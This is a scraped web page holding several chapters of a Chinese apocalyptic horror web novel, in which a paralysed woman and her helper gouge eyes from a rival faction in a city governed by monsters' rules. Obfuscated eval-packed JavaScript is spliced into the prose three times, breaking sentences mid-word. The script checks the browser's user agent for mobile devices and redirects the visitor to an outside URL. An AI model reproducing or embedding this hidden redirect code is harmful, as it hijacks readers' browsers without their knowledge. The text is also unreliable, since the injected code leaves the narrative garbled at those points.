瞧瞧他们都干了什么,入室挖眼,还堂而皇之地在眼睛主人面前把眼睛烧毁。 “祖宗,我们真不用把他们杀了吗?”陆行湛问。 “不用。”沈相兰说,“没必要杀。” 没必要杀。 陆行湛在心里把沈相兰的话默念了一遍,这句话让他牙尖发痒。 好极了,这位祖宗干了坏事都不想着收尾,也不怕仇家找上门来。 “祖宗,我们现在惹不起楼东。”陆行湛委婉劝诫。 这没招啊,这真惹不起。 他感觉沈相兰是太小瞧楼东了,同时也太小瞧缄默海了。 那么一想,陆行湛又发现了,他也惹不起沈相兰。 哦,他才是食物链最底端。 “楼东的人特别喜欢扩张领地,之前还差点跟南泊的人打起来,他们不会放过任何一个搅混水的机会,我感觉他们是一心一意搞事情,专门给缄默海添堵来的。” “之前楼东那群人还打算把楼挖了,但是没成,被怪物的规则搞死大半。” 陆行湛说着,推着沈相兰走到了下一家,再熟练进行上述动作。 “一个小时应该只够我们清完这一条街道,祖宗,我也不知道楼东的人分布在几条街上,我们得做好心理准备。” 沈相兰听陆行湛念叨了一路,陆行湛致力于给沈相兰科普惹了楼东会有多麻烦,他看起来真的很担心沈相兰的小命。 可惜陆行湛担心的方向反了。 她没有跟陆行湛详细解释的打算,只是沉默地听着他絮絮叨叨的话语。 夜色深重,雨水寒凉。 在漆黑冰冷之中,有东西在悄然滋长。 *** 楼东,云苍街。 这条街道是属于楼东势力的街道,住在这里的都是楼东的人。 今夜,一盏盏灯在熄灭。 时针停在十点之后,街道还维持着表面的寂静,灯光在一间间屋子中亮起,雨水冲刷,把光亮冲成色斑。 “有人在夜晚九点对楼东出手,宣平街的人全都被挖了右眼,挖眼的人甚至当场焚烧眼珠,行为恶劣。” “谁敢对我们的人出手,夜晚九点有全域规则笼罩,他不要命了?” “不知道是谁那么疯。” …… “被挖眼的人说一说行恶之人的特征。” “行恶之人有两个,挖眼的是一个年轻男性,在他旁边还坐着一个人,坐着那个不清楚年龄性别,两人大概率是一伙的。” “有怀疑的人或势力吗?” “……扫尾亭。” 很好,扫尾亭的人确实有干出这种事情的可能性。 没办法,扫尾亭的人就是群彻头彻尾的疯子。 楼东内部有两个大频道,一个公开匿名频道和公开实名频道。 他们现在用的是匿名频道。 正在他们讨论之时,实名频道内忽然出现一条消息。 【不惜一切代价,活捉行恶之人。】 这是楼东首领的命令。 频道内寂静了一瞬,下一秒,无数消息整齐划一刷过,长长看不见尽头。 【是。】 【缄默海楼东云苍街规则:禁止大声喧哗】 【缄默海楼东云苍街规则:禁止以任何形式破坏建筑,包括地基与街道。】 雨水未落,云苍街内的居民正在商议由谁出发进行任务。 怪物的规则不可违背,同样,首领的意志必须遵从。 *** 沈相兰看起来有种死猪不怕开水烫的美感,但是陆行湛真的不想跟楼东对着干。 他想不明白沈相兰是哪来的勇气,跟楼东对着干约等于活腻了。 不对,陆行湛忽然想到被杀不等于死亡这件事。 他忽然理解沈相兰为什么不怕了。 杀都杀不死人,这还有什么好怕的? 那么一想陆行湛释然了。 楼东的人一次性能来几个啊,先别说他们一时半会能不能找到这里来,就算找到了才能来几个人啊,最坏的结果就是陆行湛绑着沈相兰一起被杀一遍。 那咋了,那又死不了。 楼东纯纸老虎啊! 了却心头大患之后,陆行湛哼着歌推着沈相兰回家,继续给沈相兰研究外骨骼去了。 这是沈相兰第一次走正门进入陆行湛的废品回收站。 在回收站门口贴着一张纸。 【缄默海楼东正街方向约两公里废品回收站规则:不可破坏土地表层】 陆行湛下意识低头,顺着沈相兰的视线看过去,看见了那张纸。 “那个是回收站的规则,我这虽然偏,但是是个好地方,在缄默海都难找规则限制那么小的地了。”陆行湛颇有些自得。 规则是区域性的。 中心区有中心区的规则,外七区也有外七区的规则。 在外七区,每片土地都有规则。 大大小小的规则笼罩覆盖,行程一张密不透风的网,缄默海的居民只能在规则夹缝之中艰难求生。 “估计楼东是觉得我这块地方规则少,但是他们要我这没用啊,离得远不说,还没几个空地,金属废墟堆垒了一座又一座,还不如他们街道上的地方好。”陆行湛叹气。 他自己守着这块地都不愿意收拾,楼东的人抢这块地干啥啊。 他推着沈相兰进了仓库。 那间被炸毁的屋子还是没扫干净,陆行湛只能委屈沈相兰在仓库再睡一晚。 他把沈相兰放在床上,给她盖好了被子。 他去给沈相兰倒腾外骨骼去了。 别的东西没有,陆行湛这儿金属废墟多得是,他完善一下设计稿就能直接去了挑材料了。 当然,陆行湛也没想给沈相兰整一个多精细的东西。 沈相兰注定不属于这里,陆行湛有一种直觉,她不会长期处在这种状态之中。 也许是人体自带的适应性,沈相兰感觉她都要习惯陆行湛身上的气息了。 她被陆行湛从废墟堆上扛下来,再一路背回仓库,就在刚刚,陆行湛推着她的轮椅从外七区寂静的街道走回来。 刚刚陆行湛捞起她往床上放的时候,她甚至生出一种本该如此的感觉。 这种情绪很正常,但是不该出现在沈相兰身上。 沈相兰看着仓库破旧的天花板,罕见的困意涌现。 她闭上眼睛,缓缓沉入了梦乡。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449194|185245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>梦里是一片汪洋,暴雨如注,海浪漆黑,岸边的礁石被翻涌的海浪拍碎。 一艘足以遮天蔽日的船踏浪穿行,远处的灯塔遥遥亮起,光束穿透黑暗,指引方向。 沈相兰的意识随着海浪翻涌,她抬头看去,天上并不是黑色的。 无数条血红的线包裹天幕,天空像一只被红线包裹的茧,飘渺如烟雾的东西从红线缝隙掉落,像蝴蝶翅膀上抖落的鳞粉。 明明没有丝毫相关的记忆,但沈相兰脑子里忽然浮现出一个词。 这是末日。 属于人类的末日。 船只在风雨飘摇中前行,崭新光亮的船身爬上了莹绿色的不明物体,缝隙处塞满了细线,发动机上卡着一节类似于人类的身躯,船舱上趴着带有硬壳的不明生物,摇摇欲坠的帆布被啃噬殆尽。 海浪漆黑,天空血红,墨水般的雾气飘散。 轰隆一声。 船只撞上了灯塔。 陆行湛察觉到了什么,他本能般放下了手里正在绘制的图纸,朝着沈相兰所在的仓库走去。 他的步履逐渐轻盈,推开门之后,他不出意料地看见了陷入睡眠的沈相兰。 “哈,沈相兰!”陆行湛快步走去。 不对,他已经不是陆行湛了。 陆行湛自己本人都没发觉,他的眼睛变了颜色,瞳孔深处的红色蔓延,属于怪物尖锐扭曲的情绪在去体脂重横冲直撞。 祂低下头来,仔细欣赏沈相兰此时的狼狈模样。 全身骨骼被替换,哦,不对,她的颅骨还是原装货;流不出血液又无法愈合的手术刀口与缝合线伤痕;以强大战力闻名最后却沦为残废,只能靠轮椅移动。 “真惨啊,沈执行官,”披着陆行湛皮囊的怪物假惺惺地感概,笑声从他唇边溢了出来,在仓库中低低回响,“可惜了,这是你自找的,你怪不了任何人。” 他趴在沈相兰身上,仔细打量沈相兰此时的表情。 沈相兰似乎在做梦,还做了个噩梦,额头冒起了一堆细密的汗珠,呼吸也开始变得急促起来。 她似乎很不适,可惜了,她只是个废人,就算噩梦再怎么惊心动魄,她还是动不了一点。 怪物的手落在沈相兰眉心,指尖一路向下划,划过鼻峰与唇瓣,落到咽喉处,再稍微偏移,停留在了颈动脉处。 真是惊喜,沈相兰这样的人居然真的有心跳。 怪物以为她已经不算人了呢。 “你要杀了她?”另一只怪物出声询问。 披着陆行湛皮囊的怪物这才低头,看见了自己身上的规则线。 祂嘲讽轻笑,抬头见黑雾涌动,拽着红线讲隐匿在暗处的怪物拽了出来。 “你算什么东西,你也敢跟我说话?” 被攥住核心的外七区怪物浑身颤抖,它连惊叫都发不出来。 沈相兰身上都没有眼前这个男人的压迫感,这种程度的压迫感它只在那些沉睡的同类身上感受到过! 陆行湛不是人类吗? “劝你以后识相一点,要是不识相,那就只能庆幸缄默海的人又少了一条规则了。” 就在这时,沈相兰的睫毛颤动。 披着陆行湛皮囊的怪物立马松手,祂眼中的红色褪去,看见沈相兰额头上冒出细汗之后,立马给她找了条热毛巾擦汗。 沈相兰睁开眼睛看见的是陆行湛担忧的眼神:“祖宗,你不会生病了吧?” 11. 祖宗 沈相兰身上出了不少汗,陆行湛手里拿着的热毛巾给她的皮肤带来了一丝温度。 她似乎还没从梦里回神,一直冷淡锐利的眼睛此时却有些涣散,长长的睫毛低低垂下,像是一株优雅安静的植物。 看着脆弱又无害。 沈相兰还没从梦里缓过神来。 梦里的巨船被海浪拍碎,散落的零件随波逐流,她的意识好像随着巨船遗骸一起沉入冰冷漆黑的海水之中。 过了好一会,沈相兰的眼睛才聚焦成功,她看见了一脸担忧的陆行湛。 “没事吧祖宗?”陆行湛看见沈相兰回神才松了一口气。 现在他跟沈相兰都被怪物的规则线连着,沈相兰要是病了死了就剩他一个人面对怪物了。 陆行湛对自己的实力很有自信,怪物杀他那是分分钟的事情。 ……不对,陆行湛反应过来了。 沈相兰留着怪物不仅是为了跟他交流,更主要的是制衡他! 现在他的命算是跟沈相兰绑在一起了,沈相兰出事他绝对活不了。 果然不是个好相处的。 陆行湛皱起眉头,但他很快就想开了。 没有沈相兰他早被楼东的人阴了,废品站能保住有沈相兰的功劳。 这位是祖宗,祖宗是惹不得的。 沈相兰缓慢地眨了一下眼睛,她的眼睛是浅棕色的,瞳孔是一个细小的黑点,瞳仁边缘带着浅色的黑,眼白部分占比较小,眼皮掀动的时候带着一层浅的水润光泽,睫毛的影子落在眼球上,留下一片排列整齐的阴影。 等到沈相兰转动眼珠看向他,陆行湛才惊觉自己盯着沈相兰有一段时间了。 不知道是出于什么心态,陆行湛下意识举起了双手。 这是一个表示示弱和投降的姿势。 沈相兰没想到他来这一出,不过陆行湛这人正常的时候并不多,再加上他确实好使,沈相兰可以忽略一些其他方面的问题。 她还在想那个梦。 沈相兰很少做梦,她不需要睡眠。 她的梦都不会是单纯的梦境。 第一次做梦,是在她还没来到中心区之前。 她梦见了竖起的高墙和微弱绵延的山火。 第二次做梦,是在被抽骨的前一夜。 她梦见了涌动的黑雾和蚕食红线的甲虫。 这是第三次做梦,沈相兰看见了被海浪拍碎的巨船。 她有一种预感,沉没粉碎的巨船就在外七区。 她必须找到那艘船。 在沈相兰移回视线之时,陆行湛才放下了自己举起来的手。 他其实也不理解自己为啥那么干,他哪里对不起沈相兰了?他任劳任怨好吗,整个缄默海都掏不出来另一个像他这样尽心尽力又不图回报的人了! 陆行湛下意识忽略了自己的心虚。 沈相兰还在思考梦中的场景,一个阴影投下,正好将她笼罩住。 陆行湛一脸严肃地把热毛巾盖在沈相兰额头上。 潮湿温热的触感拉回了沈相兰的思绪。 “祖宗,你是不是冷?”陆行湛问她,“你体温比正常人要低一截,我给你找床被子吧,别冻感冒了。” 陆行湛围着沈相兰跑上跑下,他已然忽略了仓库里还有一个人。 是被敲晕的张秋冉。 陆行湛只把张秋冉锁了起来,没把他嘴堵住,现在他缩在角落阴阴地笑。 “你们完了。”张秋冉说。 “你怎么还有事呢。”陆行湛撸着袖子朝张秋冉走去。 虽然陆行湛是那么说的,但实际上他松了一口气,不知道为什么,他看见沈相兰就是有一股莫名其妙的心虚感,明明他什么都没干。 总不能是他真欠沈相兰吧? 这绝对不可能! “我还有事?不不不,真正有事的是你们!”张秋冉神色阴狠。 陆行湛觉得他可能是精神不正常,被刺激疯了。 他在张秋冉身上搜到了一个显示器,这个东西好像一直没关,上面有一堆字跳出来。 “什么东西?你们楼东的内部通讯?” 陆行湛翻了翻,发现里面带名字。 “祖宗,好消息,我们有楼东的人员名单了!”陆行湛下意识转头看向沈相兰。 “你们要干什么?”张秋冉感觉到不对劲的地方了。 陆行湛的反应不对啊! 看见他的反应,陆行湛笑了起来:“谢谢你雪中送炭啊,我和祖宗正愁找不到楼东的人呢。” “祖宗,你用怪物的规则线看吧,这是楼东内部的通讯。” 他也不管沈相兰看没看,自己一个劲往上翻。 然后他看见了那条要活着他跟沈相兰的消息。 “你们楼东的人也怪有意思,明明是你们先来抢我地盘,完事之后你们管我叫行恶之人。”陆行湛点评,“怪不得能成个势力呢,光凭不要脸这点,没人能跟你们对打。” 张秋冉快被气死了,但是他说不出来话。 “能发消息吗?”沈相兰“看”见屏幕上不断滚动的消息,心里有了想法。 之前沈相兰对外七区的势力并不感兴趣,现在看来不行了。 她需要借助缄默海的势力干一些事情。 例如,找到那艘沉底的船。 “能,”陆行湛飞速回答,“祖宗你要发什么消息?这有两个频道,一个匿名一个不匿名,发哪个?” 陆行湛扒拉了一下消息栏,看见底下还有十来条消息。 是张秋冉的上级发的。 楼东是单向联系,上级知道下级的名字,但是下级不能知道上级的名字。 公共频道发一堆,名字跳出来发现谁也不认识。 陆行湛忍不住怀疑他们那个公共频道的作用。 “诶,张秋冉,你上级骂你呢,说你办事没办好,恭喜啊,你快被楼东开除啊。”陆行湛颇有些欠揍。 “安心了,你这事不可能办好的。” “你在公共平台输入消息,挖眼的人姓沈。”沈相兰思考之后说。 她已经很少走迂回路线了,现在忽然这样还有些不适应。 在沈相兰四肢健全的时候,她一般是提着刀直接上门,谁不服杀谁。 一般多杀几个就老实了。 “祖宗,您确定吗?”陆行湛差点怀疑自己聋了。 你要跟楼东开战啊? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449195|185245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然你是我祖宗,但你不是楼东的祖宗啊。 “不确定。”沈相兰还在思考,她感觉那句话还是太模糊了。 陆行湛刚送一口气,转眼就听到沈相兰说:“那你告诉他们,明天夜晚九点,依旧会有人登门拜访。” 陆行湛感觉不如刚才那句。 缄默海姓沈的可海了去了,但明晚还敢去找楼东的很少。 陆行湛举着通讯器,他感觉自己心脏都在颤抖。 刺激啊,明天就可以体验被楼东的人搞死的感觉了。 “祖宗,我不敢发。”陆行湛哭丧着脸,迟迟不敢下手。 “发吧,”沈相兰很是冷静,“实在担心你说幕后黑手叫沈鱼知。” “祖宗,您叫沈鱼知?”陆行湛问。 沈相兰:“不是,是另一个人的名字。” 陆行湛不懂,他不敢说话。 楼东的公开频道内,一条消息格外突出。 【楼东周一街张秋冉】:明天夜晚九点,依旧会有人登门拜访。 公共频道瞬间炸锅。 匿名频道一群人消息刷得飞快,核心问题是,谁是张秋冉。 张秋冉的单线上级捏了把汗。 与此同时,扫尾亭。 扫尾亭的街道特点是杂乱无序,各色电线在机械城市中蔓延攀爬,风吹动电线,会带起一阵电光闪烁。 这里的房屋由各色金属焊接组成,无序混乱的混搭风格建筑,再搭配高饱和度路灯照耀,乱得像末日将至。 这里是扫尾亭的据点。 扫尾亭不像楼东那样喜欢到处圈地,他们更喜欢沉默地建造自己的地盘。 【缄默海全域规则:禁止十五以上人类聚集。】 扫尾亭永远只有十四个人。 “亲爱的同事们,楼东说我们之中有人对他们公然开战,要求我们交出残害楼东势力成员的凶手。”一个中年女性说。 她的穿着很优雅得体,带着知识分子的知性儒雅。 “残害楼东?谁去害他们一群圈地狗?”另一个人说。 这是一个偏沧桑的男性声音,但是只闻其声不见其人。 “天呐,本杰特,你又把自己埋进电线里了,你早晚会变成一只香喷喷的电烤乳猪!” 蹲在屋顶上的少年兴致勃勃,“潘姨,楼东在发什么疯?” “在夜晚九点的时候,有人去楼东的据点,挖掉了那个据点所有人的右眼。”潘姨抿嘴轻笑。 “真酷,楼东的人早该遭报应了。” “更酷的来了,挖眼睛的人正在朝楼东宣战,在明晚九点,他们会再进行一场挖眼行动。” “我们要跟过去看看吗?他们难道有什么规避规则的办法?” 本杰特从电线堆里爬了出来,“也许有,我将身体的百分之七十替换为金属后,一部分针对人类的规则不再对我有效。” 本杰明是一个老人,他看起来已经七十多了,脸上满是沟壑皱纹,一双眼睛却炯炯有神。 他的躯体由各种各样的金属拼接而成,身上属于人类的部分,只剩下了大脑和神经密集的脊柱,心脏都被换成了机械造物。 “我迫不及待想看一看新人了。” 12. 规避 陆行湛劝不动沈相兰。 他不知道沈相兰为什么这样有恃无恐,总之陆行湛实在没用这个心态。 说实话陆行湛不想被揍。 他把张秋冉丢出来,也不往沈相兰面前凑了,加班加点给沈相兰造出来一个机械辅助外骨骼。 沈相兰早早就听到了陆行湛跑来的声音。 自从不能动之后,沈相兰对声音的感知越来越明显。她认识陆行湛没多久,现在已经能从陆行湛的脚步声中听出来情绪了。 他现在似乎很高兴? 陆行湛推开仓库的门,他带着一个巨大的金属疙瘩推门而入,眼睛亮得像是叼着骨头来邀功的小狗。 沈相兰感觉自己的想法莫名其妙。 下一秒,陆行湛抱着那个金属疙瘩跑来了沈相兰面前,给沈相兰全方面展示了一下。 “这是什么?”沈相兰问。 陆行湛神秘一笑。 他把沈相兰放进轮椅上,再抬起来了沈相兰的一只手。 陆行湛制造的金属外骨骼目前还是很粗糙的东西,他一边给沈相兰穿戴外骨骼,一边调整细节。 等到外骨骼穿戴完毕,两个小时已经过去了。 沈相兰的手臂相较于机械臂来说还是过于纤细了,她的皮肤很白,上面的刀口和缝合线很是骇人,粗糙原始的金属外骨骼将她的手臂包裹起来,乍一看分不出来这是医疗器械还是刑具。 陆行湛往后退了十来步观察,嗯,远远看过去沈相兰脑袋还没有机械臂大。 “……感觉得再精简一□□积。”陆行湛说,“美观的事情之后再提,祖宗您看一看,我调试一下参数。” 沈相兰敏锐意识到了陆行湛掏出来的金属疙瘩是什么。 是辅助外骨骼。 “祖宗你动不了,没办法自主操控外骨骼,所以我外接了一个控制器,就是这个。”陆行湛把手里长得像遥控板的东西放在沈相兰面前晃了晃。 “时间有限,外骨骼目前能做的动作不多,第一个动作是抬手。”陆行湛按下按钮。 沈相兰的右臂缓缓抬起,外骨骼发出了不堪重负的咯吱声,陆行湛的视线追随着沈相兰抬气的手,直到整条手臂高高举起。 在手臂缓慢上抬的时候,不止是机械臂在响,沈相兰许久未曾活动过的关节和肌肉也在响,被替换的金属骨骼也在响。 随着手臂的抬气,她感觉自己身上的血液在流动欢呼。 “祖宗,有什么不舒服的地方吗?”陆行湛的声音将沈相兰扯回现实。 她借助怪物的规则线,在陆行湛的视线中看见了自己如今的模样。 她的头发乱糟糟的,脖子被软垫固定在轮椅上,被外骨骼包裹的右手笔直竖起,露出来的手臂和小腿细瘦伶仃,衣物宽大,风能直接从外面灌进去。 沈相兰看了又看,她确实是落魄了。 “没用,”沈相兰听见自己低声说,“感觉很好。” “那就行。”陆行湛松了一口气。 因为赶时间,机械外骨骼能做的动作真不多,现在只能做三个动作。 抬手,手臂屈伸,还有五指抓握。 好在沈相兰看起来很满意。 “时间到了,我们出发吧。”沈相兰说。 陆行湛知道自己是劝不动沈相兰了,他叹了口气,推着沈相兰上车。 他把之前的三轮车修了修,现在这辆明显超越规定使用时长的三轮车依旧在发光发热。 陆行湛已经不是之前的陆行湛了,这辆三轮车也不是之前的三轮车了。 他们即将变成被楼东通缉的人和车。 夜晚九点,缄默海彻底陷入寂静之中。 现在还没人发现夜晚九点的规则消失,人们按部就班地进入睡眠。 陆行湛开着车,带着沈相兰来到了一条街上。 这条街上住着的百分之九十都是楼东的人,不是的人别怕,沈相兰又不是真的跟楼东干架,她只是对右眼不一样的人残忍。 楼东的人眼睛没异样她也不管。 这就只能怪楼东自己倒霉了。 他带着沈相兰来的是云苍街。 一进入云苍街,陆行湛就感觉自己被什么东西盯上了。 他跳下三轮车,视线在寂静空旷的街道上扫过,很快就发现了一个摄像头。 暴露在外的摄像头被陆行湛拆了下来。 沈相兰能听见他的小声嘟囔,街道太寂静,陆行湛的声音足够明显。 “楼东果然是有钱啊,这东西不便宜,不管了,放出来了就是我的了。” “心态不错,你们是来找楼东的吗?” 一个温和沧桑的声音忽然出现,陆行湛很快锁定了声音来源。 不知道什么时候,在他左手边出现了一个老头。 老头看着是白种人长相,裸露在外的皮肤……不对,没有皮肤,他身上的是金属外壳。 “你是谁?”陆行湛瞬间警惕起来。 老头没看陆行湛,他对沈相兰的兴趣更为浓厚。 “居然还有一位残疾的小姐,先做一个自我介绍,我是扫尾亭的人,你们可以叫我本杰特。别担心,我没有恶意。”本杰特看起来是一个很好说话的和蔼老头。 “扫尾亭?”陆行湛皱起了眉,“你们来楼东的地盘干嘛?” 本杰特慈祥的目光落在了陆行湛身上,他好脾气地解释道:“因为楼东质问我们为什么针对他们的成员。” “为了洗脱嫌疑,我们只能来这里蹲守了。”本杰特说,“你们是幸运的孩子,遇见了我,我比其他人要温和很多。” “祖宗,背锅的来找事了,怎么办?”陆行湛有点绷不住了,他表面看着还算冷静,实际上心里疯狂尖叫,用规则线朝着沈相兰一顿输出。 沈相兰感觉他急疯了。 “告诉他,明天楼东就不会有这种错觉了。”沈相兰冷静依旧。 陆行湛只能说祖宗还是祖宗,他遇到这种情况已经想跳楼了,但沈相兰还可以淡定赶客。 现在唯一的问题在于,沈相兰不能说话,这句话需要从陆行湛嘴里说出来。 陆行湛心想自己不能败在这里,他闭眼酝酿开口:“明天楼东就不会来找你们了,我们没想到他们脑回路那么清奇。” “孩子,你不会真的认为我们在意被楼东误会吧?”本杰特笑了,他年老,脸上皱纹很多,一笑起来所有的皮褶全都舒展开来,莫名有些诡异。 “你们用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449196|185245||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了什么方法规避规则?” 规避规则? “规避规则是什么?”陆行湛忍不住问。他问完之后,感觉自己的眼睛上忽然带来一股凉意。 他知道,是沈相兰用他的视野在观察本杰特。 沈相兰与陆行湛共享一个视野,但沈相兰看见的东西跟陆行湛并不一样。 她的感知渠道更多,得到的信息也更多。 他半数以上的躯体都被替换成了金属。 “孩子们,现在装傻就没有意义了。”本杰特耸肩,“如你所见,我的四肢都是金属,在怪物的规则判定中,我不属于人类。” “这是一个规避规则的方式。” “车上的残疾女孩先不说,你看着是一个健康的人类男孩,身上没有任何改装的迹象。在怪物的判定中,你属于人类。”本杰特说,他暗蓝色的眼睛盯着陆行湛,“你用了什么方式逃过怪物的规则?” 陆行湛忽然想起来了缄默海居民对扫尾亭的评价。 扫尾亭的人就是一群疯子。 他总不能说他根本没有逃避怪物的规则吧? 怪物骨灰都被车上那位残疾祖宗扬了,你现在来谈逃避规则是不是有点好笑? “祖宗,这咋整,要跟他说实话吗?”陆行湛问沈相兰。 他可太清楚自己有几斤几两了,这种层级的事情陆行湛根本没有发言权。 “现在不能说,这里还有其他东西。” 沈相兰的声音有点冷。 “哥们,现在不是说这个的时候,这里还有其他人,要不我们诚实一点,人齐了我们再说吧。”陆行湛说。 说完之后他听见沈相兰叹了口气。 这个存疑,其实是稍微重了点的呼吸声,但陆行湛感觉是叹气。 因为沈相兰平时根本没有呼吸声,她根本没有动静,安静得像一尊冰雕。 “我说错了吗?”陆行湛小声问沈相兰。 “没事。” 本杰特没料到陆行湛会说这句话,可能他觉得陆行湛是个厉害人物,还真把陆行湛的话听了进去。 “扫尾亭只有我来了,就算是扫尾亭,能规避规则的人也不多。”本杰特皱起了眉头,“是哪方势力的人在暗处。” “祖宗,您怎么看扫尾亭的人?”陆行湛问沈相兰。 沈相兰的评价简单刻薄:“一群耽误时间的蠢货。” 陆行湛听到时间才着急起来,现在好了,时间已经被浪费了接近二十分钟。 今夜还没干活呢。 “扫尾亭的老人家,我们待会聊呗,现在我得去干活了,总不能辛苦来一趟什么都不干。”陆行湛说,“等到十点钟去我家聊呗,到时候我们聊个够。” 陆行湛说着,他拿着刀推开了一户门。 就在这时,隐藏在阴影之中的东西出现了。 那是一个姿态诡异的……“人”。 有人形,套着衣服,但是看不出性别年龄。 它裸露在外的皮肤表层蠕动着像虫子一样的东西。 陆行湛感受到了威胁,这个东西在“看”他! “到我这边来。”沈相兰说。 陆行湛第一次在沈相兰的声音中听到了类似着急的情绪。 13. 操控 “这是什么?”本杰特惊叫。 “祖宗,你什么时候发现的?”陆行湛也被吓了一跳,他这几天被沈相兰使唤多了,听见沈相兰的话下意识就开始执行。 跑到一半,陆行湛才意识到了不对。 他朝沈相兰跑干嘛?沈相兰动都动不了! 她现在就是个大号残废,能做什么啊? 那么一想,陆行湛的脚步下意识放缓。 身后看不出品种的东西并没有停下脚步,它实在是太诡异了,本杰特发现它好似根本没有骨骼,四肢像是用橡皮泥捏出来的,动起来像是软体生物的躯体。 在陆行湛犹豫那一瞬,它突然化成一滩,朝着陆行湛扑去。 在即将被扑中的那一瞬间,陆行湛看清楚了它的头发。 它的头发丝很粗,离近了看,它的头发是会动的,像软体昆虫那样蠕动。头发下覆盖的五官短暂露出来一瞬,它的眼眶是空荡荡的,细小得像血管的黑色虫子趴在眼眶边缘,缓慢向外延伸。 陆行湛脊背骤然升起一股寒意,他拿着之前挖眼的匕首朝眼前这坨东西刺过去。 刺进去的触感并不像是刺进肉里,而是像刺进了一个装满柔韧物体的袋子里,陆行湛握着刀柄,能感受到里面有东西在游动。 他不清楚这是什么玩意,但是他知道自己多半是凉了。 没事,被杀之后不会死,就是会失去一段记忆,陆行湛希望自己还能记得沈相兰,不然沈相兰落入楼东手里…… “祖宗啊,我……”陆行湛想趁机交代遗言,他话还没说出口,就看见身上的规则线骤然一缩,怪物庞大的身躯降临狭小的街道,它一下子把陆行湛丢到了对面建筑的墙上。 陆行湛扶着墙呕出两口血。 “不要自作主张。”沈相兰的声音通过规则线传来。 她太冷静了,陆行湛听见沈相兰依旧平稳冷静的声线,忽然感觉自己刚刚那一通感想有些好笑。 沈相兰像是被放在橱窗上不染凡尘的精致造物,他们明明共处在同一片屋檐下,却不是一路人。 ……祖宗这个外号还真是起对了。 “你好菜啊。”怪物对着陆行湛嘲讽。 它显然还记得陆行湛对它干过的事情,当时的陆行湛身上带着压倒性的力量,怪物在他面前抖得像一只鹌鹑。 但现在的陆行湛又菜得格外真实,怪物不愿意承认它被这样一个家伙吓到。 “刚刚发生了什么?”本杰特发现事情朝着他不理解的方向狂奔。 “告诉他,让他想办法把那个东西限制住。”沈相兰对陆行湛说。 “老头,别光看啊,你想办法把那个东西限制住!”陆行湛瞬间扭头朝着本杰特喊去。 “我吗?”本杰特怀疑人生。 但是他抬头一看,陆行湛蹲在墙角悄悄吐血,三轮车上的年轻女人坐着轮椅,在这条街上只有他能够活动了。 “孩子,我要怎样做才可以限制它?”本杰特问。 “它怕火。”沈相兰的声音几乎与本杰特同时响起。 陆行湛一愣,他把带来烧眼珠的柴油朝着本杰特丢去,大喊道:“它怕火,用火烧它!” 本杰特是扫尾亭的成员,他看起来是有点不靠谱,但能力还是有的。 刚开始他把柴油浇在它的身上,但火焰刚刚点燃,它就立刻舍弃了那一部分表层肢体,任由火焰带着皮肤流下,在地上灼烧。 火焰带着悠悠绿光。 陆行湛带来的这点柴油烧不干净它的整个躯体。 本杰特也不想把自己搭进去,他在地上浇了一圈柴油点燃,形成一个火焰包围圈,把怪物困在了里面。 “接下来该怎么做?”本杰特扭头问陆行湛。 陆行湛心想我哪知道。 “这是什么规避规则的新方法吗?”本杰特在思考,他通过用金属替换大部分躯体的方式规避规则,难道楼东的人在研究用其他生物的血肉来替换躯体? 这是研究品? 如果是的话,那很失败了。 “我觉得没人愿意变成这副恶心模样。”陆行湛说。 他跟本杰特现在勉强算是站在同一阵营了,现在氛围和谐,陆行湛奇异地跟本杰特聊了起来。 沈相兰一直关注着那个东西。 它明显是一个人类,一个真正意义上死去的人类。 现在来看,它只维持了表面的皮囊,内里早已被黑色细线一样的虫子蛀空了。 怪物的躯体还漂浮在街道上,一股冰凉的力量控制着它,尽管它的意识保留,但它的躯体已经不属于自己了。 那个能猎杀怪物的奇怪女人通过规则线反向掌控了它。 沈相兰的感知方向很奇怪。 它的躯体散成了一缕一缕的,从空旷的街道钻入屋子,不同程度的黑白色调画面闪烁,巨量信息冲得怪物头晕目眩。 眼球里的黑色细线蠕动,火圈里的黑色细线舍弃皮囊凝聚成团,更遥远的地方,森然莹绿的眼睛带着兽性。 它的躯体在一瞬间无限延伸,又在一瞬间被压缩为一个点。 即使是与沈相兰公用感官,怪物也不知道她看见了什么。 好像有些东西,只有她能看见。 陆行湛原本在跟本杰特聊天,也不知道是怎么回事,他跟本杰特一见如故,两人聊得怪投机的。 忽然,怪物墨水般的身躯朝他涌来,控制住他的四肢朝着沈相兰走去。 “诶,你要干什么?”本杰特正说着话,就看见陆行湛走了,他一时之间有些摸不着头脑。 陆行湛也摸不着头脑,他用规则线跟怪物对话,问它想干什么。 